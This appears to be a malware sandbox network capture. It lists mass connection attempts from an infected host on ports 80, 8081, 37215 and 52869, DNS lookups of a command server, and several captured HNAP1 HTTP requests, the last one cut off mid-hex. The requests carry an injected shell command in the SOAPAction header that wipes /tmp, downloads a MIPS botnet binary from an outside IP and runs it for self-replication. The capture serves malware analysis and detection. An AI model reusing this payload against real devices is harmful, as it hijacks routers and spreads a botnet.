Jul 20, 2024 23:05:45.665761948 CEST	8081	51078	35.42.206.47	192.168.2.13
Jul 20, 2024 23:05:45.665863037 CEST	51078	8081	192.168.2.13	35.42.206.47
Jul 20, 2024 23:05:45.666544914 CEST	37215	47522	41.128.226.57	192.168.2.13
Jul 20, 2024 23:05:45.666555882 CEST	8081	56232	142.183.164.174	192.168.2.13
Jul 20, 2024 23:05:45.666594982 CEST	47522	37215	192.168.2.13	41.128.226.57
Jul 20, 2024 23:05:45.666682005 CEST	34738	80	192.168.2.13	95.179.238.200
Jul 20, 2024 23:05:45.666682005 CEST	36358	80	192.168.2.13	95.11.2.255
Jul 20, 2024 23:05:45.666682005 CEST	55022	52869	192.168.2.13	152.36.106.192
Jul 20, 2024 23:05:45.666682005 CEST	51640	80	192.168.2.13	95.114.134.52
Jul 20, 2024 23:05:45.666682005 CEST	32948	80	192.168.2.13	95.96.165.243
Jul 20, 2024 23:05:45.666682005 CEST	21679	80	192.168.2.13	88.156.182.213
Jul 20, 2024 23:05:45.666682005 CEST	21679	80	192.168.2.13	88.31.69.134
Jul 20, 2024 23:05:45.666688919 CEST	49202	8081	192.168.2.13	110.77.189.42
Jul 20, 2024 23:05:45.667956114 CEST	80	40846	95.32.43.13	192.168.2.13
Jul 20, 2024 23:05:45.668904066 CEST	8081	37676	81.175.215.92	192.168.2.13
Jul 20, 2024 23:05:45.668941021 CEST	52869	59960	66.105.78.156	192.168.2.13
Jul 20, 2024 23:05:45.668941021 CEST	37676	8081	192.168.2.13	81.175.215.92
Jul 20, 2024 23:05:45.668962955 CEST	54418	37215	192.168.2.13	41.189.155.19
Jul 20, 2024 23:05:45.668962955 CEST	21679	80	192.168.2.13	88.18.0.134
Jul 20, 2024 23:05:45.668962955 CEST	21679	80	192.168.2.13	88.180.70.10
Jul 20, 2024 23:05:45.668962955 CEST	21679	80	192.168.2.13	88.105.53.197
Jul 20, 2024 23:05:45.668962955 CEST	21679	80	192.168.2.13	88.206.143.241
Jul 20, 2024 23:05:45.668962955 CEST	21679	80	192.168.2.13	88.88.217.4
Jul 20, 2024 23:05:45.668962955 CEST	21679	80	192.168.2.13	88.221.188.36
Jul 20, 2024 23:05:45.669203043 CEST	21679	80	192.168.2.13	88.28.173.61
Jul 20, 2024 23:05:45.669203043 CEST	21679	80	192.168.2.13	88.154.181.10
Jul 20, 2024 23:05:45.669203043 CEST	21679	80	192.168.2.13	88.234.44.222
Jul 20, 2024 23:05:45.669203043 CEST	21679	80	192.168.2.13	88.232.14.140
Jul 20, 2024 23:05:45.669203043 CEST	21679	80	192.168.2.13	88.120.24.148
Jul 20, 2024 23:05:45.669203043 CEST	21679	80	192.168.2.13	88.52.34.219
Jul 20, 2024 23:05:45.669203043 CEST	45264	80	192.168.2.13	95.57.214.33
Jul 20, 2024 23:05:45.669203043 CEST	21679	80	192.168.2.13	88.85.145.222
Jul 20, 2024 23:05:45.669212103 CEST	59960	52869	192.168.2.13	66.105.78.156
Jul 20, 2024 23:05:45.669739962 CEST	56234	80	192.168.2.13	95.25.246.249
Jul 20, 2024 23:05:45.670217991 CEST	40846	80	192.168.2.13	95.32.43.13
Jul 20, 2024 23:05:45.671277046 CEST	42966	52869	192.168.2.13	93.187.137.171
Jul 20, 2024 23:05:45.671386003 CEST	59554	8081	192.168.2.13	160.180.17.70
Jul 20, 2024 23:05:45.671909094 CEST	8081	60976	87.218.183.140	192.168.2.13
Jul 20, 2024 23:05:45.672380924 CEST	60976	8081	192.168.2.13	87.218.183.140
Jul 20, 2024 23:05:45.672467947 CEST	8081	49202	110.77.189.42	192.168.2.13
Jul 20, 2024 23:05:45.672472954 CEST	80	34738	95.179.238.200	192.168.2.13
Jul 20, 2024 23:05:45.672492981 CEST	80	36358	95.11.2.255	192.168.2.13
Jul 20, 2024 23:05:45.673806906 CEST	21679	80	192.168.2.13	88.27.89.191
Jul 20, 2024 23:05:45.673806906 CEST	21679	80	192.168.2.13	88.62.75.125
Jul 20, 2024 23:05:45.673806906 CEST	21679	80	192.168.2.13	88.180.131.191
Jul 20, 2024 23:05:45.673806906 CEST	21679	80	192.168.2.13	88.27.54.246
Jul 20, 2024 23:05:45.673806906 CEST	21679	80	192.168.2.13	88.54.207.21
Jul 20, 2024 23:05:45.673808098 CEST	21679	80	192.168.2.13	88.33.12.61
Jul 20, 2024 23:05:45.674078941 CEST	49202	8081	192.168.2.13	110.77.189.42
Jul 20, 2024 23:05:45.675031900 CEST	21679	80	192.168.2.13	88.157.121.161
Jul 20, 2024 23:05:45.675031900 CEST	21679	80	192.168.2.13	88.20.19.247
Jul 20, 2024 23:05:45.675031900 CEST	21679	80	192.168.2.13	88.99.119.245
Jul 20, 2024 23:05:45.675031900 CEST	21679	80	192.168.2.13	88.111.123.32
Jul 20, 2024 23:05:45.675031900 CEST	21679	80	192.168.2.13	88.253.60.15
Jul 20, 2024 23:05:45.675085068 CEST	59134	80	192.168.2.13	95.72.40.79
Jul 20, 2024 23:05:45.675448895 CEST	80	56234	95.25.246.249	192.168.2.13
Jul 20, 2024 23:05:45.675499916 CEST	56234	80	192.168.2.13	95.25.246.249
Jul 20, 2024 23:05:45.676637888 CEST	45802	8081	192.168.2.13	197.49.213.115
Jul 20, 2024 23:05:45.676812887 CEST	8081	59554	160.180.17.70	192.168.2.13
Jul 20, 2024 23:05:45.676852942 CEST	59554	8081	192.168.2.13	160.180.17.70
Jul 20, 2024 23:05:45.676908970 CEST	21679	80	192.168.2.13	88.227.13.185
Jul 20, 2024 23:05:45.676908970 CEST	21679	80	192.168.2.13	88.14.190.113
Jul 20, 2024 23:05:45.676908970 CEST	40274	37215	192.168.2.13	157.27.189.109
Jul 20, 2024 23:05:45.676908970 CEST	21679	80	192.168.2.13	88.144.18.181
Jul 20, 2024 23:05:45.676908970 CEST	21679	80	192.168.2.13	88.83.134.218
Jul 20, 2024 23:05:45.676908970 CEST	21679	80	192.168.2.13	88.214.186.104
Jul 20, 2024 23:05:45.676908970 CEST	21679	80	192.168.2.13	88.93.149.135
Jul 20, 2024 23:05:45.676937103 CEST	52869	42966	93.187.137.171	192.168.2.13
Jul 20, 2024 23:05:45.677001953 CEST	42966	52869	192.168.2.13	93.187.137.171
Jul 20, 2024 23:05:45.677958012 CEST	21679	80	192.168.2.13	88.161.17.205
Jul 20, 2024 23:05:45.677958012 CEST	21679	80	192.168.2.13	88.166.86.178
Jul 20, 2024 23:05:45.677958012 CEST	21679	80	192.168.2.13	88.99.8.16
Jul 20, 2024 23:05:45.677958012 CEST	21679	80	192.168.2.13	88.196.192.254
Jul 20, 2024 23:05:45.677958012 CEST	21679	80	192.168.2.13	88.202.179.64
Jul 20, 2024 23:05:45.677958012 CEST	56232	8081	192.168.2.13	142.183.164.174
Jul 20, 2024 23:05:45.678817034 CEST	80	45264	95.57.214.33	192.168.2.13
Jul 20, 2024 23:05:45.680872917 CEST	54612	8081	192.168.2.13	91.155.31.222
Jul 20, 2024 23:05:45.680872917 CEST	21679	80	192.168.2.13	88.58.161.253
Jul 20, 2024 23:05:45.680872917 CEST	44084	37215	192.168.2.13	197.248.203.139
Jul 20, 2024 23:05:45.680872917 CEST	33832	80	192.168.2.13	95.84.24.11
Jul 20, 2024 23:05:45.680969000 CEST	43258	52869	192.168.2.13	213.105.255.191
Jul 20, 2024 23:05:45.681679964 CEST	43666	37215	192.168.2.13	157.16.82.82
Jul 20, 2024 23:05:45.681781054 CEST	50592	37215	192.168.2.13	44.171.241.23
Jul 20, 2024 23:05:45.682310104 CEST	8081	45802	197.49.213.115	192.168.2.13
Jul 20, 2024 23:05:45.682360888 CEST	45802	8081	192.168.2.13	197.49.213.115
Jul 20, 2024 23:05:45.683051109 CEST	53842	37215	192.168.2.13	41.58.87.142
Jul 20, 2024 23:05:45.683051109 CEST	34738	80	192.168.2.13	95.179.238.200
Jul 20, 2024 23:05:45.683051109 CEST	36358	80	192.168.2.13	95.11.2.255
Jul 20, 2024 23:05:45.683104038 CEST	80	59134	95.72.40.79	192.168.2.13
Jul 20, 2024 23:05:45.683151007 CEST	59134	80	192.168.2.13	95.72.40.79
Jul 20, 2024 23:05:45.683686972 CEST	8081	36500	204.114.132.223	192.168.2.13
Jul 20, 2024 23:05:45.684521914 CEST	37215	40274	157.27.189.109	192.168.2.13
Jul 20, 2024 23:05:45.684582949 CEST	36500	8081	192.168.2.13	204.114.132.223
Jul 20, 2024 23:05:45.686928034 CEST	52869	43258	213.105.255.191	192.168.2.13
Jul 20, 2024 23:05:45.686944008 CEST	80	33832	95.84.24.11	192.168.2.13
Jul 20, 2024 23:05:45.687282085 CEST	38152	37215	192.168.2.13	27.97.182.214
Jul 20, 2024 23:05:45.687282085 CEST	43258	52869	192.168.2.13	213.105.255.191
Jul 20, 2024 23:05:45.687448025 CEST	37215	43666	157.16.82.82	192.168.2.13
Jul 20, 2024 23:05:45.687957048 CEST	37215	50592	44.171.241.23	192.168.2.13
Jul 20, 2024 23:05:45.688024044 CEST	50592	37215	192.168.2.13	44.171.241.23
Jul 20, 2024 23:05:45.688031912 CEST	36184	52869	192.168.2.13	44.187.248.15
Jul 20, 2024 23:05:45.688769102 CEST	51172	37215	192.168.2.13	41.113.181.100
Jul 20, 2024 23:05:45.688769102 CEST	45264	80	192.168.2.13	95.57.214.33
Jul 20, 2024 23:05:45.688769102 CEST	60000	80	192.168.2.13	95.198.75.143
Jul 20, 2024 23:05:45.688769102 CEST	33970	80	192.168.2.13	95.11.29.47
Jul 20, 2024 23:05:45.688769102 CEST	45740	80	192.168.2.13	95.186.126.147
Jul 20, 2024 23:05:45.690577984 CEST	40274	37215	192.168.2.13	157.27.189.109
Jul 20, 2024 23:05:45.690577984 CEST	33832	80	192.168.2.13	95.84.24.11
Jul 20, 2024 23:05:45.690577984 CEST	43666	37215	192.168.2.13	157.16.82.82
Jul 20, 2024 23:05:45.692876101 CEST	37215	38152	27.97.182.214	192.168.2.13
Jul 20, 2024 23:05:45.693128109 CEST	37215	53842	41.58.87.142	192.168.2.13
Jul 20, 2024 23:05:45.693723917 CEST	38152	37215	192.168.2.13	27.97.182.214
Jul 20, 2024 23:05:45.694092989 CEST	37215	51172	41.113.181.100	192.168.2.13
Jul 20, 2024 23:05:45.694473028 CEST	53842	37215	192.168.2.13	41.58.87.142
Jul 20, 2024 23:05:45.694508076 CEST	80	60000	95.198.75.143	192.168.2.13
Jul 20, 2024 23:05:45.694580078 CEST	80	33970	95.11.29.47	192.168.2.13
Jul 20, 2024 23:05:45.694583893 CEST	52869	36184	44.187.248.15	192.168.2.13
Jul 20, 2024 23:05:45.694622040 CEST	36184	52869	192.168.2.13	44.187.248.15
Jul 20, 2024 23:05:45.695051908 CEST	80	45740	95.186.126.147	192.168.2.13
Jul 20, 2024 23:05:45.696393013 CEST	39392	37215	192.168.2.13	157.77.35.15
Jul 20, 2024 23:05:45.697706938 CEST	60766	8081	192.168.2.13	139.171.12.172
Jul 20, 2024 23:05:45.700329065 CEST	36212	8081	192.168.2.13	93.210.42.24
Jul 20, 2024 23:05:45.700333118 CEST	45946	8081	192.168.2.13	139.176.103.99
Jul 20, 2024 23:05:45.700377941 CEST	43300	8081	192.168.2.13	1.220.154.182
Jul 20, 2024 23:05:45.700474024 CEST	45458	8081	192.168.2.13	157.212.128.61
Jul 20, 2024 23:05:45.700577974 CEST	37678	8081	192.168.2.13	216.77.147.81
Jul 20, 2024 23:05:45.700577974 CEST	57870	8081	192.168.2.13	206.53.199.156
Jul 20, 2024 23:05:45.700684071 CEST	53052	8081	192.168.2.13	136.231.77.244
Jul 20, 2024 23:05:45.700741053 CEST	52164	8081	192.168.2.13	48.169.101.121
Jul 20, 2024 23:05:45.700741053 CEST	43439	8081	192.168.2.13	156.62.23.220
Jul 20, 2024 23:05:45.700741053 CEST	43439	8081	192.168.2.13	97.222.80.19
Jul 20, 2024 23:05:45.700741053 CEST	43439	8081	192.168.2.13	186.196.83.164
Jul 20, 2024 23:05:45.700833082 CEST	45602	8081	192.168.2.13	121.121.132.42
Jul 20, 2024 23:05:45.700833082 CEST	34534	8081	192.168.2.13	130.226.197.71
Jul 20, 2024 23:05:45.700833082 CEST	48386	8081	192.168.2.13	68.152.129.142
Jul 20, 2024 23:05:45.700833082 CEST	56418	8081	192.168.2.13	1.70.190.239
Jul 20, 2024 23:05:45.700833082 CEST	35992	8081	192.168.2.13	65.70.49.213
Jul 20, 2024 23:05:45.700833082 CEST	43439	8081	192.168.2.13	118.242.232.79
Jul 20, 2024 23:05:45.700833082 CEST	43439	8081	192.168.2.13	178.176.243.37
Jul 20, 2024 23:05:45.700833082 CEST	43439	8081	192.168.2.13	67.98.16.25
Jul 20, 2024 23:05:45.701117992 CEST	45536	8081	192.168.2.13	115.217.160.85
Jul 20, 2024 23:05:45.701117992 CEST	60668	8081	192.168.2.13	74.144.83.171
Jul 20, 2024 23:05:45.701117992 CEST	37684	8081	192.168.2.13	154.38.133.150
Jul 20, 2024 23:05:45.701117992 CEST	43439	8081	192.168.2.13	106.133.198.165
Jul 20, 2024 23:05:45.701117992 CEST	43439	8081	192.168.2.13	23.57.223.144
Jul 20, 2024 23:05:45.701117992 CEST	43439	8081	192.168.2.13	212.238.113.156
Jul 20, 2024 23:05:45.701117992 CEST	43439	8081	192.168.2.13	203.167.253.60
Jul 20, 2024 23:05:45.701117992 CEST	43439	8081	192.168.2.13	90.109.205.139
Jul 20, 2024 23:05:45.701428890 CEST	43439	8081	192.168.2.13	156.146.229.224
Jul 20, 2024 23:05:45.701428890 CEST	43439	8081	192.168.2.13	131.2.131.33
Jul 20, 2024 23:05:45.701428890 CEST	43439	8081	192.168.2.13	19.152.197.177
Jul 20, 2024 23:05:45.701428890 CEST	43439	8081	192.168.2.13	8.209.187.62
Jul 20, 2024 23:05:45.701428890 CEST	43439	8081	192.168.2.13	100.146.213.119
Jul 20, 2024 23:05:45.701428890 CEST	43439	8081	192.168.2.13	188.83.79.242
Jul 20, 2024 23:05:45.701430082 CEST	43439	8081	192.168.2.13	111.148.247.132
Jul 20, 2024 23:05:45.701510906 CEST	43439	8081	192.168.2.13	186.230.123.244
Jul 20, 2024 23:05:45.701510906 CEST	43439	8081	192.168.2.13	52.146.31.44
Jul 20, 2024 23:05:45.701510906 CEST	43439	8081	192.168.2.13	193.246.123.1
Jul 20, 2024 23:05:45.701510906 CEST	43439	8081	192.168.2.13	65.135.212.8
Jul 20, 2024 23:05:45.701510906 CEST	43439	8081	192.168.2.13	128.200.36.13
Jul 20, 2024 23:05:45.701510906 CEST	43439	8081	192.168.2.13	132.173.159.130
Jul 20, 2024 23:05:45.701510906 CEST	43439	8081	192.168.2.13	168.114.3.113
Jul 20, 2024 23:05:45.701510906 CEST	43439	8081	192.168.2.13	79.86.129.117
Jul 20, 2024 23:05:45.701618910 CEST	37215	57202	197.248.18.125	192.168.2.13
Jul 20, 2024 23:05:45.701634884 CEST	56156	37215	192.168.2.13	197.99.191.32
Jul 20, 2024 23:05:45.701634884 CEST	59244	8081	192.168.2.13	178.81.111.121
Jul 20, 2024 23:05:45.701634884 CEST	33720	8081	192.168.2.13	51.212.187.178
Jul 20, 2024 23:05:45.701634884 CEST	43439	8081	192.168.2.13	118.189.233.103
Jul 20, 2024 23:05:45.701634884 CEST	43439	8081	192.168.2.13	44.67.196.75
Jul 20, 2024 23:05:45.701634884 CEST	43439	8081	192.168.2.13	35.218.18.125
Jul 20, 2024 23:05:45.701636076 CEST	43439	8081	192.168.2.13	163.149.46.41
Jul 20, 2024 23:05:45.702208996 CEST	37215	39392	157.77.35.15	192.168.2.13
Jul 20, 2024 23:05:45.702276945 CEST	59026	8081	192.168.2.13	17.188.164.234
Jul 20, 2024 23:05:45.702276945 CEST	36904	8081	192.168.2.13	100.189.148.44
Jul 20, 2024 23:05:45.702276945 CEST	46492	8081	192.168.2.13	201.159.112.182
Jul 20, 2024 23:05:45.702276945 CEST	37838	8081	192.168.2.13	223.9.8.159
Jul 20, 2024 23:05:45.702276945 CEST	54706	8081	192.168.2.13	117.162.6.62
Jul 20, 2024 23:05:45.702276945 CEST	38496	8081	192.168.2.13	209.25.30.35
Jul 20, 2024 23:05:45.702276945 CEST	57152	8081	192.168.2.13	63.54.135.76
Jul 20, 2024 23:05:45.702276945 CEST	43439	8081	192.168.2.13	27.251.42.52
Jul 20, 2024 23:05:45.702337980 CEST	43439	8081	192.168.2.13	218.59.186.252
Jul 20, 2024 23:05:45.702337980 CEST	43439	8081	192.168.2.13	141.190.150.234
Jul 20, 2024 23:05:45.702337980 CEST	43439	8081	192.168.2.13	183.255.218.33
Jul 20, 2024 23:05:45.702337980 CEST	43439	8081	192.168.2.13	19.143.45.208
Jul 20, 2024 23:05:45.702337980 CEST	43439	8081	192.168.2.13	100.189.53.141
Jul 20, 2024 23:05:45.702337980 CEST	43439	8081	192.168.2.13	48.89.168.231
Jul 20, 2024 23:05:45.703171015 CEST	8081	60766	139.171.12.172	192.168.2.13
Jul 20, 2024 23:05:45.704999924 CEST	51172	37215	192.168.2.13	41.113.181.100
Jul 20, 2024 23:05:45.705001116 CEST	60000	80	192.168.2.13	95.198.75.143
Jul 20, 2024 23:05:45.705001116 CEST	33970	80	192.168.2.13	95.11.29.47
Jul 20, 2024 23:05:45.705001116 CEST	45740	80	192.168.2.13	95.186.126.147
Jul 20, 2024 23:05:45.705001116 CEST	60482	80	192.168.2.13	95.127.26.111
Jul 20, 2024 23:05:45.705001116 CEST	55396	8081	192.168.2.13	120.245.6.162
Jul 20, 2024 23:05:45.705509901 CEST	43439	8081	192.168.2.13	223.76.192.43
Jul 20, 2024 23:05:45.705509901 CEST	43439	8081	192.168.2.13	212.152.62.16
Jul 20, 2024 23:05:45.705509901 CEST	43439	8081	192.168.2.13	43.92.81.235
Jul 20, 2024 23:05:45.705509901 CEST	43439	8081	192.168.2.13	219.2.97.112
Jul 20, 2024 23:05:45.705509901 CEST	43439	8081	192.168.2.13	74.186.246.223
Jul 20, 2024 23:05:45.705511093 CEST	43439	8081	192.168.2.13	69.32.43.216
Jul 20, 2024 23:05:45.705655098 CEST	43439	8081	192.168.2.13	67.82.128.210
Jul 20, 2024 23:05:45.705655098 CEST	43439	8081	192.168.2.13	199.17.115.86
Jul 20, 2024 23:05:45.705655098 CEST	43439	8081	192.168.2.13	160.195.92.85
Jul 20, 2024 23:05:45.705655098 CEST	43439	8081	192.168.2.13	106.70.80.55
Jul 20, 2024 23:05:45.705655098 CEST	43439	8081	192.168.2.13	155.137.98.201
Jul 20, 2024 23:05:45.705655098 CEST	43439	8081	192.168.2.13	216.39.60.168
Jul 20, 2024 23:05:45.705655098 CEST	43439	8081	192.168.2.13	175.136.1.166

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 20, 2024 23:05:41.625226021 CEST	192.168.2.13	8.8.8.8	0xd536	Standard query (0)	vector.mineheaven.org	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:05:46.736637115 CEST	192.168.2.13	8.8.8.8	0x7246	Standard query (0)	vector.mineheaven.org	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:05:49.792422056 CEST	192.168.2.13	8.8.8.8	0x2f37	Standard query (0)	vector.mineheaven.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jul 20, 2024 23:05:41.632680893 CEST	8.8.8.8	192.168.2.13	0xd536	No error (0)	vector.mineheaven.org	15.235.203.214	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:05:46.744864941 CEST	8.8.8.8	192.168.2.13	0x7246	No error (0)	vector.mineheaven.org	15.235.203.214	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:05:49.800111055 CEST	8.8.8.8	192.168.2.13	0x2f37	No error (0)	vector.mineheaven.org	15.235.203.214	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.13	32884	20.191.46.135	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:43.050175905 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.13	48480	86.28.105.133	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:43.320460081 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.13	46804	37.111.247.22	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:43.323291063 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.13	54692	102.95.56.173	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:43.326565027 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 